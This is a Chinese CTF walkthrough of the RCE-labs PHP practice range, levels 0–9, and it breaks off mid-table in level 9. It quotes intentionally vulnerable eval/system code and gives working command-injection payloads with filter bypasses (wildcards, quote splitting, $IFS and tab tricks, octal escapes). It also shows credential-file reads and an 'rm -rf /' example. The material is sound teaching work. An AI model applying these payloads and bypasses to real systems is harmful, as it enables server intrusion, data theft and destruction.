前言
【打算先试着直接写题目,然后知识点相对应匹配,最后再理一遍】
题目来源
或者青少年CTF练习平台 (这个平台不需要金币)rce-labs level0-8

也可以自己用docker部署本地靶场 https://github.com/ProbiusOfficial/RCE-labs
参考大佬的wp
- RCE-labs靶场通关(Level1-5)-优快云博客
- 4.19学习——RCE-labs刷题-优快云博客
- 打靶日记-RCE-labs_rce靶场测验(level 0~level 8,level 2可选择放弃),要求提供payload,-优快云博客
- [Hello-CTF]RCE-Labs超详细WP-Level 6_rce-labs-level6-优快云博客
- [Hello-CTF]RCE-Labs超详细WP-Level15(5字符限制RCE-文件名拼接反弹Shell命令)_ctf 5字符rce-优快云博客
- RCE-labs(Level6-13)-优快云博客
- 打靶日记-RCE-labs_rce靶场测验(level 0~level 8,level 2可选择放弃),要求提供payload,-优快云博客
- [Hello-CTF]RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)_rce-labs-level10-优快云博客
1.1. 题目

1.2. 尝试与解题
虽然答案已经给我们了,但是我们也可以了解一下这个源代码,进行一下代码审计
//定义包含flag的代码字符串
$code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;";
//这行代码定义了一个字符串变量$code,内容包含两个操作:
//include('flag.php'):引入flag.php文件(通常存放敏感信息,如$flag变量)。
//echo '...'.\$flag:输出提示文本,并拼接flag.php中定义的$flag变量值。
//注意\$flag中的反斜杠是转义符,用于在字符串中保留$符号
//(否则PHP会直接解析$flag变量,而不是作为字符串的一部分)。
//定义执行Shell命令的字符串
$bash = "echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag";
//这行代码定义了一个字符串变量$bash,内容是两条Linux Shell命令(用分号分隔):
//echo '...':输出提示文本。
//cat /flag:读取服务器根目录下的/flag文件内容(通常是敏感信息存储位置)。
//执行PHP代码字符串
eval($code);
//eval()函数将字符串$code作为PHP代码执行,实际效果是:
//引入flag.php文件,获取$flag变量。
//输出提示文本和$flag的值。
//风险:eval()是高危函数,若$code可控(如来自用户输入),会直接导致代码注入漏洞。
//输出换行符
echo "<br>";
//在HTML页面中输出一个换行符,用于分隔两次输出的内容。
//执行Shell命令字符串
system($bash);
//system()函数将字符串$bash作为Shell命令执行,实际效果是:
//输出提示文本。
//执行cat /flag并输出文件内容。
//风险:system()是高危函数,若$bash可控(如来自用户输入),会直接导致命令注入漏洞。
//高亮显示当前文件代码
highlight_file(__FILE__);
//highlight_file()函数将当前PHP文件(__FILE__是当前文件的路径常量)的代码以语法高亮的形式输出到页面上,常用于调试或展示代码。
PHP代码结束标记
?>
用eval()执行PHP代码引入flag.php并输出$flag。
用system()执行Shell命令读取/flag文件内容。
最后通过highlight_file()展示自身代码。
2. level1【无过滤】
2.1. 题目
<?php
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 一句话木马和代码执行 ---
「代码执行(Code Execution)」 在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的`eval()`函数或Python中的`exec()`函数。
当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞
—— 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval("system('cat /etc/passwd')";); 也被归为代码执行漏洞。
我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)
try POST:
a=echo "Hello,World!";
*/
eval($_POST['a']);
highlight_file(__FILE__);
?>
2.2. 尝试与解题

错了错了,
2.2.1. 首先,我们先去看这个get_flag.php文件里面有什么内容
利用post的方式【hackbar和bp都行】
(hackbar我失败了,页面无反应,所以我用bp)
a=system('cat get_flag.php');
注意,这里要用到repeater改成post的请求头

用burp抓包查看包含的文件get_flag.php
<?php
$file_path = "/flag";
//定义变量指向/flag的文件
if (file_exists($file_path)) {
$flag = file_get_contents($file_path);
//如果存在这个文件,则会用file_get_contents()函数读取该文件所有内容
}
else{
$flag = "HelloCTF{Default_Flag}";
}
2.2.2. 最后结果
a=echo $flag;
注意,分号忘记就会报错

2.3. 总结一下
2.3.1. 第一个PHP代码块(GET传参触发RCE)
<?php
highlight_file(__FILE__); // 1. 语法高亮显示当前文件代码
eval($_GET["J4t"]); // 2. 执行GET参数J4t中的PHP代码
#?J4t=system("ls /"); // 3. 注释:示例payload,通过GET传参执行系统命令
?>
- 关键风险:eval()函数直接执行用户通过GET传入的J4t参数内容。若攻击者传入?J4t=system("ls /"),会执行Linux命令ls /(列出根目录文件);若传入?J4t=phpinfo(),会输出服务器PHP配置信息。
2.3.2. 第二个PHP代码块(POST传参触发RCE)
<?php
highlight_file(__FILE__); // 1. 语法高亮显示当前文件代码
system($_POST["J4t"]); // 2. 执行POST参数J4t中的系统命令
#J4t=ls // 3. 注释:示例payload,通过POST传参执行系统命令
?>
- 关键风险:system()函数直接执行用户通过POST传入的J4t参数内容。攻击者通过POST请求提交J4t=ls,会执行ls命令(列出当前目录文件);若提交J4t=cat /flag,会直接读取服务器敏感文件/flag。
2.3.3. 二者
这两个代码块是RCE漏洞的极简示例,区别仅在于传参方式(GET/POST),但本质都是用户输入直接进入危险函数:
eval():执行PHP代码(可调用system()/exec()等命令执行函数);system():直接执行系统命令。
攻击方式:
- 第一个代码块:在URL后拼接
?J4t=system("ls /"); - 第二个代码块:用POST工具(如Burp、Postman)提交
J4t=cat /flag。
防御措施:禁用eval()/system()等危险函数,或对用户输入做严格白名单验证。 🛡️
3. level2【这道题考察的是回调函数和读代码的能力】
3.1. 题目
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP代码执行函数 ---
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,
你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
3.2. 尝试与解题
3.2.1. 第一步,了解入手点
从长长的代码里寻找关键的点和入侵位置。。
根据上面的内容找到。。。
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
那么hello_ctf内容是什么呢
function hello_ctf($function, $content){
global $flag; // 引入全局变量$flag(通常是敏感信息)
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
act是哪来的,怎么创造这个条件
isset($_GET['action']) ? start($_GET['action']) : '';
$random_func又是什么呢
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
3.2.2. 第二步,根据刚刚看到的代码入口,开始吧
3.2.2.1. 一
直接在url上面改动,因为是get,?action=submit

获得新函数
3.2.2.2. 二
得到这个新的危险函数后,我们先了解一下这个函数怎么用

【PHP 代码执行相关函数_php ${} 动态代码执行-优快云博客】
3.2.2.3. 三

不知道为什么,这个如果有分号就会出错,可能过滤了???
这个我还不太懂,就都试试吧
3.2.3. 这是个详细的针对上述代码的,可以看看
<?php
include ("get_flag.php");
global $flag;
session_start();
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
/*
$function:一个字符串,表示要调用的函数名
$content:一个字符串,将作为参数传递给上述函数
global $flag,定义$flag为全局变量,在函数内部可以访问和修改全局变量
echo "Your Code: $code <br>" :输出生成的代码字符串
eval($code):使用eval()函数执行生成的代码
*/
function get_fun(){ #定义一个get_fun()函数,不接收传参
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
#定义一个包含10个php函数的数组(包含php潜在危险函数)
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
/*
检查会话中是否已存储random_func
如果没有,则从$func_list中随机选择一个函数存入会话
array_rand()返回随机键名
*/
$random_func = $_SESSION['random_func'];
#从会话中取出之前随机选择的函数名
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
/*
将函数名中的下划线_替换为连字符-(PHP手册URL格式要求)
输出函数名和对应的页面提示词
*/
return $_SESSION['random_func']; #返回随机选择的函数名
}
function start($act){ #顶一个start()函数,接收一个参数$act,表示要执行的操作类型
$random_func = get_fun();
#调用之前分析的get_fun()函数,获取一个随机选择的PHP函数名(可能是eval、assert等危险函数)
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset(); #重置所有会话变量
session_destroy(); #销毁整个会话
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
/*
当GET参数action=submit时:
获取POST参数content的值
调用hello_ctf()函数,使用随机选择的函数名和用户提交的内容
*/
}
isset($_GET['action']) ? start($_GET['action']) : '';
/*检查是否有GET参数action
如果有,调用start()函数并传入action值
如果没有,不执行任何操作(空字符串)*/
highlight_file(__FILE__);
#使用PHP内置函数高亮显示当前文件的源代码(这是CTF挑战中常见的做法,让参与者可以查看源代码)
?>
4. level3【如何查找flag位置,利用查询命令】
4.1. 题目
Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 21
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 ---
「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。
这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。
当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":
try POST:
a=cat /etc/passwd;
*/
system($_POST['a']);
highlight_file(__FILE__);
?>
4.2. 尝试与解题
看题目,显而易见,这题需要利用post请求来解题
4.2.1. 先试试题目给我们的例子

可以成功运行,这道题没有告诉我们flag在哪里,并且这里也没有,所以我们可以通过列出目录,逐级查找
4.2.2. 来查找flag在哪里,顺便找到了
4.2.2.1. 一
ls:列出当前目录的可见文件(默认不显示隐藏文件,即文件名以.开头的文件)。ls -l:以长格式列出文件(包含权限、所有者、大小、修改时间等详细信息)。ls -a:显示所有文件(包括隐藏文件)。ls /home:列出/home目录下的内容(指定目录路径)。ls /:执行ls命令,列出根目录(/)下的所有文件和文件夹。
输入a=ls /;

看到有个flag的文件夹,进去看看
4.2.2.2. 二
cat /etc/passwd:直接输出/etc/passwd文件的全部内容(查看系统用户信息)。cat file1.txt file2.txt > file3.txt:将file1和file2的内容拼接后,写入file3(文件合并)。cat > newfile.txt:从键盘输入内容,按Ctrl+D结束后,保存到newfile.txt(快速创建文件)。
输入a=cat /flag;

5. level4【SHELL 运算符绕过】
有很多方法,我一般简单点,这些用bp都可以,可以试试用来提高对bp抓包的熟练度
5.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---
https://www.runoob.com/linux/linux-shell-basic-operators.html
SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。
例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。
例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。
例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。
例: echo "Hello" ; echo "World"
try GET:
?ip=8.8.8.8
flag is /flag
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
5.2. 尝试与解题
看这个代码,知道使用get的请求方式,要用到运算符,如何用呢?
5.2.1. 先浅浅试一下

5.2.2. 去构造shell命令
cat /flag
【因为题目已经告诉你在哪个位置了】
5.2.3. 看看要用什么运算符
可以都试一遍,根据上面的提示

5.2.4. 知识点,绕过了!
利用shell运算符实现命令拼接
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行
&&(逻辑与运算符):前一个成功再执行后一个 【注意url编码】
||(逻辑或运算符): 前一个失败才执行后一个
|(管道符):将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;前面的命令和后面的命令都会执行,但只显示后面的命令执行结果。
%0a 换行
5.2.4.1. php命令注入漏洞
<?php
$cmd = "ping " . $_GET['ip'];
system($cmd);
?>
这段代码存在严重的命令注入漏洞,因为直接将用户输入的 ip 参数拼接到 ping 命令中,未做任何过滤。攻击者可通过构造特殊字符(如 ; && ||)执行任意系统命令。
- 三种攻击方式解析
| 攻击Payload | 执行逻辑 | 效果说明 |
|
|
| 分号 ,再执行 |
|
|
|
|
漏洞危害
攻击者可通过类似Payload执行任意命令,例如:
?ip=;cat /etc/passwd:读取系统用户信息。?ip=;rm -rf /:删除服务器所有文件(高危操作)。
6. level5【文件名过滤绕过】
6.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...
*/
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
6.2. 尝试与解题
6.2.1. 分析
看代码,显然是get请求的方式,请求参数为cmd,
注意其中的过滤!!!!!!
if(preg_match("/flag/", $cmd)){
die("WAF!");
如果出现/flag/则被过滤,无法执行,
用其他的方式才可以使用system
6.2.2. 知识点【通配符
通配符是Shell/文件系统中用于模糊匹配文件名的特殊字符,以下是5种常见通配符的详细说明:
6.2.2.1. *(星号):匹配零个或多个任意字符
- 规则:表示“任意长度的任意字符”(包括空字符)。
- 示例:
-
*.txt:匹配所有以.txt结尾的文件(如note.txt、report_2024.txt)。file*:匹配所有以file开头的文件(如file1.jpg、file_backup.zip)。*secret*:匹配文件名中包含secret的文件(如my_secret.txt、secret_key.pem)。
6.2.2.2. ?(问号):匹配单个任意字符
- 规则:表示“恰好一个任意字符”,不能匹配零个或多个。
- 示例:
-
file?.txt:匹配file1.txt、fileA.txt(单个占位符),但不匹配file.txt(无字符)或file12.txt(两个字符)。photo_??.png:匹配photo_01.png、photo_ab.png(两个占位符)。
6.2.2.3. [](方括号):匹配括号内的任意单个字符
- 规则:表示“括号内的某一个字符”,支持单个字符或范围(如数字/字母范围)。
- 示例:
-
file[1-3].txt:匹配file1.txt、file2.txt、file3.txt(数字范围1-3)。img_[a-c].jpg:匹配img_a.jpg、img_b.jpg、img_c.jpg(字母范围a-c)。doc_[xyz].pdf:匹配doc_x.pdf、doc_y.pdf、doc_z.pdf(单个字符列举)。
6.2.2.4. [^](取反方括号):匹配不在括号内的单个字符
- 规则:在方括号开头加
^,表示“排除括号内的所有字符”。 - 示例:
-
file[^a-c].txt:匹配file1.txt、fileD.txt(排除a/b/c),但不匹配filea.txt。log_[^0-9].log:匹配log_error.log、log_debug.log(排除数字),但不匹配log_2024.log。
6.2.2.5. {}(大括号):匹配括号内的任意完整字符串
- 规则:表示“括号内的某一个完整字符串”,支持多个字符串列举或连续范围(需配合
..)。 - 示例:
-
file{1,2,3}.txt:匹配file1.txt、file2.txt、file3.txt(直接列举值)。report_{2022..2024}.pdf:匹配report_2022.pdf、report_2023.pdf、report_2024.pdf(连续范围)。{cat,dog,bird}.txt:匹配cat.txt、dog.txt、bird.txt(多个独立字符串)。
6.2.2.6. 关键区别总结
| 通配符 | 匹配逻辑 | 灵活性 |
|
| 任意长度任意字符 | 最灵活(模糊) |
|
| 单个任意字符 | 中等(模糊) |
|
| 单个指定字符/范围 | 中等(精确) |
|
| 单个非指定字符/范围 | 中等(精确) |
|
| 完整字符串列举/范围 | 最精确 |
通配符是CTF中文件遍历(如 ls /var/log/*)和批量操作的常用技巧,掌握后能大幅提升命令行效率 ⚡。
6.2.3. 绕过方式【文件名过滤绕过】
例如:flag被ban 利用终端特性
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
> preg_match — 执行匹配正则表达式
> 如果 `pattern` 匹配到指定 subject,则 **preg_match()** 返回 1,如果没有匹配到则返回 0, 或者在失败时返回 `[**false**]
(https://www.php.net/manual/zh/reserved.constants.php#constant.false)`。
> [正则表达式 – 语法 | 菜鸟教程](https://www.runoob.com/regexp/regexp-syntax.html)
6.2.3.1. 通配符绕过
*(星号): 匹配零个或多个字符。例子: fl*
?(问号): 匹配单个字符。例子: fla?
[](方括号): 匹配方括号内的任意一个字符。例子: fla[g,1,2,3]
[^](取反方括号): 匹配不在方括号内的字符。例子: fla[^a-c]
{}(大括号): 匹配大括号内的任意一个字符串。例子: fla{g,1,2,3}
6.2.3.2. 单引号双引号绕过
单引号(')
双引号("")
反引号(``)
绕过正则 如 f''lag或f'l'ag
6.2.3.3. 反斜杠绕过
反斜杠\绕过 如cat fl\ag.p\hp
6.2.3.4. 特殊变量
- 特殊变量:
$1到$9、$@和$***
如 fl$*ag fl$9ag
- 或者在单词结尾处插入
$x,这里的x可以是任意字母,
例如可以写成如下形式:
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x
6.2.3.5. 内联拼接执行绕过
自定义字符串,再拼接起来
a=f;c=l;d=ag;cat /$a$c$d
6.2.3.6. 利用linux中的环境变量
使用环境变量里的字符执行变量。
?cmd=passthru('cat f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}');
echo $PATH PATH默认系统环境变量
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
注意这个计算1:usr
echo ${PATH:5:1}
l使用环境变量PATH里的第5个字符,(从0开始计数,'l'为第5个字符),显示1个字符;
lo也可以echo f${PATH:5:2}
flag.php echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
6.2.4. 继续解题
经过这个绕过的学习,非常的清晰了,
很多种绕过的方法

皮一下嘿嘿!


你可以都试一遍那些符号【如何打^,英语输入法,长按shift+6】
7. level6【base编码绕过,黑名单太多】
7.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 挑战关 ---
刚才,学了什么来着!?
*/
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
7.2. 尝试与解题
7.2.1. 分析
根据题目代码,可知是get请求的方式,
同时过滤了
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
- 输入过滤:通过
preg_match检测用户输入$cmd中是否包含上述字符。 - 拦截机制:若匹配成功,执行
die("WAF!")终止程序并返回拦截提示。 - 防护目标:阻止常见的命令注入(如
;、|)、代码执行(如反引号`)及特殊符号攻击。

上一题学的过滤方法用不了了
黑名单太多了!!但是a和/能用,这里可以构造
【利用为数不多没有进入黑名单的,
- 可以利用的字符只有 数字, 小写a 和
?, 对了还有两种斜杆
】
【注意:?作为通配符只在路径中有效】

7.2.2. 解题。。
7.2.2.1. 先想好需要输入的shell命令是什么。。然后改变一下黑名单内容。。。
/bin/cat /flag
/???/?a? /??a?
但是?a?可以代表很多内容
7.2.2.2. 再想想其他方法
想到了 base64 命令, 可以把输入进行 base64编码 后输出
base64 的位置于 /bin/base64, 所以构造如下
/???/?a??64
衔接 /flag
/???/?a??64 /??a?
最后 Payload 如下
?cmd=/???/?a??64 /??a?

在线编码转换工具(utf-8/utf-32/Punycode/Base64) - 编码转换工具 - W3Cschool
base64解码 base64编码 在线base64解码/编码工具 iP138在线工具这个感觉简单操作一点

8. level7【空格过滤绕过】
8.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
8.2. 尝试与解题
8.2.1. 分析
由代码得,此为get请求,请求参数为cmd
并且进行了过滤,过滤了空格和flag字符串
payload的构建
- 首先,基础款的flag获取命令是,
?cmd=cat /flag - 接着,因为,空格被过滤掉了,所以使用其他的方法,进行空格过滤
- flag也被过滤了,可以试试通配符,双引号什么的过滤
8.2.2. 空格过滤绕过
有时候会禁用空格
preg_match("/ /", $cmd)
可以用以下方法绕过
8.2.2.1. URL编码:
%09 tab
%0a 换行
%0d 回车符
%20 空格
8.2.2.2. $IFS$9,${IFS},$IFS,${IFS%??},$'\x20'
在 Bash、sh 等 Shell 环境中,IFS 定义了当 shell 解析字符串时用来分隔字段的字符。
默认值是一个空格(space)、制表符(tab)和换行符(newline)。
$IFS$9,${IFS},$IFS,${IFS%??},$'\x20'
8.2.2.3. 大括号{}
如{cat,flag.php} 该语法只在 bash 中生效。
8.2.2.4. 重定向字符<,<>
如cat<>flag.txt,或者cat<flag.txt
8.2.3. 解题过程
?cmd=cat /flag
解决空格问题
?cmd=cat%20/flag
解决flag被过滤的事情
?cmd=cat%20/fla?

欸,怎么被抓了?换个绕过方法
?cmd=cat%20/fl""ag

还是不行,空格绕过换一个方式,
?cmd=cat%09/fl""ag

9. level8
9.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。
一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。
同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;
如果尝试从该文件读取内容,那么什么也读不到。
但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
9.2. 尝试与解题
9.2.1. 分析
这个是要通过cmd的get请求,根据上述,cmd的内容会进入system执行$cmd.">/dev/null 2>&1"
9.2.1.1. 补充
这里解释一下stdout和stderr,
stdout是正常输出文件描述符1,比如我们执行的命令结果,
stderr是报错输出文件描述符2,就是一些运行的错误信息,
所以为什么加上2>&1就无法回显报错信息?
因为将报错信息重定向到正常输出中,然后又定向到空设备丢弃,就形成了无回显,这里可以使用;
将后面的重定向给截断,这里需要了解一个问题>重定向符号需要联合其它命令来一起使用;
这里加上;相当于cat /flag;>dev/null后面的>dev/null就相当于是执行一个空命令然后输入到/dev/null里
9.2.1.1.1. 简单总结
- 无回显:
command > /dev/null 2>&1→ 所有输出(正常+错误)都被丢弃。 - 截断重定向:
command; > /dev/null→ 分号让两个命令独立执行,前一个命令的输出不受后一个重定向影响。
9.2.1.1.2. 举个例子:
ls /fake > /dev/null 2>&1→ 看不到任何输出(正常和错误都被丢弃)。ls /fake; > /dev/null→ 会显示ls: cannot access '/fake': No such file or directory(错误信息未被丢弃)。
9.3. 解题
?cmd=cat /flag;
【将前后独立,利用;使前面可以独立执行】
?cmd=cat /flag>1.txt;
?cmd=cat /flag||

10. level9【$没有被过滤,使用bash下ascii码八进制转义$''】
10.1. 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,
sh通常只是一个软连接,并不是真的有一个shell叫sh。
在debian系操作系统中,sh指向dash;在centos系操作系统中,
sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,
要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,
在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,
$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,
我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,
但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
10.2. 尝试与解题
10.2.1. 尝试
这道题比之前第六题限制的黑名单还多,可以尝试使用上述题目所教的方法,使用bash条件下,八进制ascii码解析,【$没有被过滤】
尝试构造payload
?cmd=cat /flag
根据ASCII码表,cat /flag 中每个字符的十进制ASCII值及对应的八进制转义如下:
| 字符 | 十进制ASCII值 | 八进制转义 |
|
| 99 |
|
|
| 97 |
|
|
| 116 |
|
